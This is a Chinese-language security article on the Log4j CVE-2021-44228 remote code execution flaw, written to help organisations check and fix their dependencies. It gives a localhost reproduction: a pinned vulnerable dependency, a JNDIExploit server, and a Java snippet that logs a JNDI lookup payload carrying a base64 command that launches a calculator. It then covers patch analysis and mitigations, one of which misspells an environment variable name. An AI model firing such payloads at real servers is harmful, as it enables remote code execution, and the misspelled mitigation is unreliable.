文章前言
本篇文章我们主要介绍关于CVE-2021-44228:Apache Log4j RCE漏洞的自检与修复,帮助甲方人员尽快修复项目中存在的不安全依赖
漏洞概述
Apache Log4j2是⼀个基于Java的⽇志记录⼯具,该⼯具重写了Log4j框架,并且引⼊了⼤量丰富的特性,该⽇志框架被⼤量⽤于业务系统开发,⽤来记录⽇志信息,⼤多数情况下,开发者可能会将⽤户输⼊导致的错误信息写⼊⽇志中,由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执⾏漏洞。该漏洞利⽤⽆需特殊配置,经阿⾥云安全团队验证Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响,此次漏洞触发条件为只要外部⽤户输⼊的数据会被⽇志记录,即可造成远程代码执⾏。
漏洞复现
Step 1:pom.xml中增加以下依赖:
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.14.1</version>
</dependency>
Step 2:之后使用JNDIExploit启动JNDI并注入Server
java -jar JNDIExploit.jar -i 127.0.0.1
Step 3:构造以下利用代码
package org.log4js;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class Log4jAttack {
private static final Logger logger = LogManager.getLogger(Log4jAttack.class);
public static void main(String[] args) {
logger.error("${jndi:ldap://127.0.0.1:1389/Basic/Command/Base64/Y21kLmV4ZSAvYyBjYWxjLmV4ZQ==}");
}
}
Step 4:执行程序
补丁分析
Log4j-2.15.0-rc1
Log4j-2.15-rc1默认关闭lookup功能,且增加了白名单校验
Log4j-2.15.0-rc2
Log4j-2.15-rc1的修复版本中在异常发生时未进行return,之后会直接this.context.lookup,从而再次导致RCE
Log4j-2.15.0-rc2的修复方案是直接return,有效解决了上文的绕过
try{
....
} catch (URISyntaxException ex) {
LOGGER.warn("Invalid JNDI URI - {}", name);
return null;
}
return (T) this.context.lookup(name);
Apache Log4j 2.15.0
据悉Apache Log4j 2.15.0存在信息泄露漏洞,可用于从受影响的服务器下载数据
漏洞自检
检测项目是否使用不安全的log4j-core依赖项,下面是一些扩展的受影响的依赖:
GitHub - LoRexxar/log_dependency_checklist: Dependencies with Log4j2 Checklist
甲方修复
1、建议尽快升级到 2.16.0版本
2、禁止使用log4j服务器外连,升级JDK到11.0.1 8u191 7u201 6u1版本之后
3、紧急缓解措施:
(1) 修改JVM参数:-Dlog4j2.formatMsgNolookups=true
(2) 修改配置log4j2.formatMsgNolookups=True
(3) 将系统环境变量FORMAT_MESSAGES_PATTERN_IDSABLE_LOOKUPS设置未true